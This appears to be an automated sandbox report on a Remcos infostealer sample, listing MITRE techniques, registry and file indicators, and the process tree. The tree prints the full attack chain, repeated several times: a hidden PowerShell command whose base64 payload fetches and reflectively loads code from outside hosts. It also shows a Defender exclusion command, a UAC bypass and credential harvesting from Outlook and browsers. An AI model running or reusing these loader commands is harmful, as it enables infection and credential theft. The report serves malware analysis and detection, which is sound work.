remcos | f3edffd1b31e4ecbe7d2e039d2f81c9fbc686deee3530e1bf4402ac66a27abb5

pid	Process
3488	msedge.exe
4508	msedge.exe
2800	msedge.exe
1188	msedge.exe
2708	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4704	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	rmclient.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\cmd.exe	cmd.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 4804 set thread context of 3884	4804	powershell.exe	104
PID 1936 set thread context of 4744	1936	powershell.exe	119
PID 5060 set thread context of 1964	5060	powershell.exe	127
PID 1964 set thread context of 3100	1964	cmd.exe	129
PID 1964 set thread context of 2428	1964	cmd.exe	130
PID 1964 set thread context of 2668	1964	cmd.exe	131
PID 1852 set thread context of 2504	1852	powershell.exe	161
PID 3440 set thread context of 2352	3440	powershell.exe	180

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\Application\cmd.exe	cmd.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\cmd.exe	cmd.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
1520	3884	WerFault.exe	104
3476	3884	WerFault.exe	104
1800	4744	WerFault.exe	119
1180	2352	WerFault.exe	180
4220	2352	WerFault.exe	180

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmclient.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134084716142430892"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1872826379-1646062183-4110371642-1000\{65C68032-54D1-4913-906E-6387CBB13813}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
3100	rmclient.exe
3100	rmclient.exe
2668	rmclient.exe
2668	rmclient.exe
3100	rmclient.exe
3100	rmclient.exe
3184	powershell.exe
3184	powershell.exe
1852	powershell.exe
1852	powershell.exe
1964	cmd.exe
1964	cmd.exe
2256	powershell.exe
2256	powershell.exe
1852	powershell.exe
1852	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3488	msedge.exe
3488	msedge.exe
3488	msedge.exe
3488	msedge.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	2668	rmclient.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3488	msedge.exe
3488	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1964	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4804 wrote to memory of 3452	4804	powershell.exe	96
PID 4804 wrote to memory of 3452	4804	powershell.exe	96
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 4804 wrote to memory of 3884	4804	powershell.exe	104
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 1936 wrote to memory of 4744	1936	powershell.exe	119
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 5060 wrote to memory of 1964	5060	powershell.exe	127
PID 1964 wrote to memory of 3100	1964	cmd.exe	129
PID 1964 wrote to memory of 3100	1964	cmd.exe	129
PID 1964 wrote to memory of 3100	1964	cmd.exe	129
PID 1964 wrote to memory of 3100	1964	cmd.exe	129
PID 1964 wrote to memory of 2428	1964	cmd.exe	130
PID 1964 wrote to memory of 2428	1964	cmd.exe	130
PID 1964 wrote to memory of 2428	1964	cmd.exe	130
PID 1964 wrote to memory of 2428	1964	cmd.exe	130
PID 1964 wrote to memory of 2668	1964	cmd.exe	131
PID 1964 wrote to memory of 2668	1964	cmd.exe	131
PID 1964 wrote to memory of 2668	1964	cmd.exe	131
PID 1964 wrote to memory of 2668	1964	cmd.exe	131
PID 1964 wrote to memory of 3184	1964	cmd.exe	133
PID 1964 wrote to memory of 3184	1964	cmd.exe	133
PID 1964 wrote to memory of 3184	1964	cmd.exe	133
PID 1964 wrote to memory of 4704	1964	cmd.exe	135
PID 1964 wrote to memory of 4704	1964	cmd.exe	135
PID 1964 wrote to memory of 4704	1964	cmd.exe	135
PID 1964 wrote to memory of 2256	1964	cmd.exe	142
PID 1964 wrote to memory of 2256	1964	cmd.exe	142
PID 1964 wrote to memory of 2256	1964	cmd.exe	142
PID 3488 wrote to memory of 5064	3488	msedge.exe	146
PID 3488 wrote to memory of 5064	3488	msedge.exe	146
PID 3488 wrote to memory of 2276	3488	msedge.exe	148
PID 3488 wrote to memory of 2276	3488	msedge.exe	148
PID 3488 wrote to memory of 1200	3488	msedge.exe	149
PID 3488 wrote to memory of 1200	3488	msedge.exe	149
PID 3488 wrote to memory of 2276	3488	msedge.exe	148
PID 3488 wrote to memory of 2276	3488	msedge.exe	148
PID 3488 wrote to memory of 2276	3488	msedge.exe	148
PID 3488 wrote to memory of 2276	3488	msedge.exe	148
PID 3488 wrote to memory of 2276	3488	msedge.exe	148

System policy modification 1 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	cmd.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PO_2025120411.js
1⤵
PID:1940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JExpbW9uID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIyLjAuNjI2MS45NSBTYWZhcmkvNTM3LjM2Iik7DQokTGltb24uSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7DQokc3VscGhvdGVsbHVyaWRlID0gJ2h0dHBzOi8vaWE4MDE3MDQudXMuYXJjaGl2ZS5vcmcvNS9pdGVtcy9vcHRpbWl6ZWRfbXNpXzIwMjUxMTIwXzAxMjAvb3B0aW1pemVkX01TSS5wbmcnOw0KJHNoaWVsZHMgPSAkTGltb24uRG93bmxvYWREYXRhKCRzdWxwaG90ZWxsdXJpZGUpOw0KJHNjcmF0Y2hib2FyZCAgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHNoaWVsZHMpOw0KaWYgKCRzY3JhdGNoYm9hcmQgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsNCiAgJG11cmFsbHkgPSAkbWF0Y2hlc1sxXTsNCiAgJG94YW5vcmJvcm5lbnlsID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbXVyYWxseSkpOw0KICBbQ2xhc3NMaWJyYXJ5MS5DbGFzczFdOjpWQUkoJz1RSGUwNXlOeE1UTnpBRE55RVRNMUlETXk4MWIybFdkeEpYWXYwMmJqNUNibFpYWXlSWFlybG1jazVXWWo5eUw2TUhjMFJIYScsJzAnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2NtZCcsJzEnLCdjbWQnLCcwJywnaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvMTE4MTM3ODkwMjExNjAxNjIyMi8xNDM4NjgyNDIwNDc0ODEwNTIxL3NoaW0udmJzP2V4PTY5MTdjNGVhJmlzPTY5MTY3MzZhJmhtPTlhYjZmMTJlZjFmNGU4MzM3NDY3ZTI4MGI3Y2FjOTNmNTc3MjIxZDNmZjA4MTllMmViMzQ1NGYyNjMxMzIzNTUmJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCcxJywnVGFza19OYW1lJywnMCcsJycsJ2h0dHBzOi8vdG1wZmlsZXMub3JnL2RsLzc0MjY5NTIvdWFjLnBuZycsJycpOw0KfQ==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\Name_File.js"
  2⤵
  PID:3452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\SysWOW64\cmd.exe"
  2⤵
  PID:3884
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3884 -s 512
    3⤵
    - Program crash
    PID:1520
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3884 -s 516
    3⤵
    - Program crash
    PID:3476

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:3788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3884 -ip 3884
1⤵
PID:3992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3884 -ip 3884
1⤵
PID:1964

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\Downloads\Name_File.js
1⤵
PID:2732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JExpbW9uID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIyLjAuNjI2MS45NSBTYWZhcmkvNTM3LjM2Iik7DQokTGltb24uSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7DQokc3VscGhvdGVsbHVyaWRlID0gJ2h0dHBzOi8vaWE4MDE3MDQudXMuYXJjaGl2ZS5vcmcvNS9pdGVtcy9vcHRpbWl6ZWRfbXNpXzIwMjUxMTIwXzAxMjAvb3B0aW1pemVkX01TSS5wbmcnOw0KJHNoaWVsZHMgPSAkTGltb24uRG93bmxvYWREYXRhKCRzdWxwaG90ZWxsdXJpZGUpOw0KJHNjcmF0Y2hib2FyZCAgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHNoaWVsZHMpOw0KaWYgKCRzY3JhdGNoYm9hcmQgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsNCiAgJG11cmFsbHkgPSAkbWF0Y2hlc1sxXTsNCiAgJG94YW5vcmJvcm5lbnlsID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbXVyYWxseSkpOw0KICBbQ2xhc3NMaWJyYXJ5MS5DbGFzczFdOjpWQUkoJz1RSGUwNXlOeE1UTnpBRE55RVRNMUlETXk4MWIybFdkeEpYWXYwMmJqNUNibFpYWXlSWFlybG1jazVXWWo5eUw2TUhjMFJIYScsJzAnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2NtZCcsJzEnLCdjbWQnLCcwJywnaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvMTE4MTM3ODkwMjExNjAxNjIyMi8xNDM4NjgyNDIwNDc0ODEwNTIxL3NoaW0udmJzP2V4PTY5MTdjNGVhJmlzPTY5MTY3MzZhJmhtPTlhYjZmMTJlZjFmNGU4MzM3NDY3ZTI4MGI3Y2FjOTNmNTc3MjIxZDNmZjA4MTllMmViMzQ1NGYyNjMxMzIzNTUmJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCcxJywnVGFza19OYW1lJywnMCcsJycsJ2h0dHBzOi8vdG1wZmlsZXMub3JnL2RsLzc0MjY5NTIvdWFjLnBuZycsJycpOw0KfQ==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\SysWOW64\cmd.exe"
  2⤵
  PID:4744
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4744 -s 520
    3⤵
    - Program crash
    PID:1800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4744 -ip 4744
1⤵
PID:4528

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\Downloads\Name_File.js
1⤵
PID:1416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JExpbW9uID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIyLjAuNjI2MS45NSBTYWZhcmkvNTM3LjM2Iik7DQokTGltb24uSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7DQokc3VscGhvdGVsbHVyaWRlID0gJ2h0dHBzOi8vaWE4MDE3MDQudXMuYXJjaGl2ZS5vcmcvNS9pdGVtcy9vcHRpbWl6ZWRfbXNpXzIwMjUxMTIwXzAxMjAvb3B0aW1pemVkX01TSS5wbmcnOw0KJHNoaWVsZHMgPSAkTGltb24uRG93bmxvYWREYXRhKCRzdWxwaG90ZWxsdXJpZGUpOw0KJHNjcmF0Y2hib2FyZCAgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHNoaWVsZHMpOw0KaWYgKCRzY3JhdGNoYm9hcmQgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsNCiAgJG11cmFsbHkgPSAkbWF0Y2hlc1sxXTsNCiAgJG94YW5vcmJvcm5lbnlsID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbXVyYWxseSkpOw0KICBbQ2xhc3NMaWJyYXJ5MS5DbGFzczFdOjpWQUkoJz1RSGUwNXlOeE1UTnpBRE55RVRNMUlETXk4MWIybFdkeEpYWXYwMmJqNUNibFpYWXlSWFlybG1jazVXWWo5eUw2TUhjMFJIYScsJzAnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2NtZCcsJzEnLCdjbWQnLCcwJywnaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvMTE4MTM3ODkwMjExNjAxNjIyMi8xNDM4NjgyNDIwNDc0ODEwNTIxL3NoaW0udmJzP2V4PTY5MTdjNGVhJmlzPTY5MTY3MzZhJmhtPTlhYjZmMTJlZjFmNGU4MzM3NDY3ZTI4MGI3Y2FjOTNmNTc3MjIxZDNmZjA4MTllMmViMzQ1NGYyNjMxMzIzNTUmJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCcxJywnVGFza19OYW1lJywnMCcsJycsJ2h0dHBzOi8vdG1wZmlsZXMub3JnL2RsLzc0MjY5NTIvdWFjLnBuZycsJycpOw0KfQ==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\SysWOW64\cmd.exe"
  2⤵
  - UAC bypass
  - Badlisted process makes network request
  - Checks computer location settings
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1964
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\ucloxiflxpzqbwooupavtvvav"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3100
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\ffqgyapflxrvdckalavpeapremte"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:2428
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\pzvrysagzfjanjyevkhqhnkifsknrnwc"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2668
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3184
- - C:\Program Files\Google\Chrome\Application\cmd.exe
    "C:\Program Files\Google\Chrome\Application\cmd.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4704
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --profile-directory="Default" --remote-debugging-port=9222 --headless
    3⤵
    - Uses browser remote debugging
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3488
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x238,0x23c,0x240,0x234,0x2f0,0x7fff800ff208,0x7fff800ff214,0x7fff800ff220
      4⤵
      PID:5064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2192,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:2
      4⤵
      PID:2276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=2280,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:3
      4⤵
      PID:1200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=2456,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1832 /prefetch:8
      4⤵
      PID:4836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3448,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:1
      4⤵
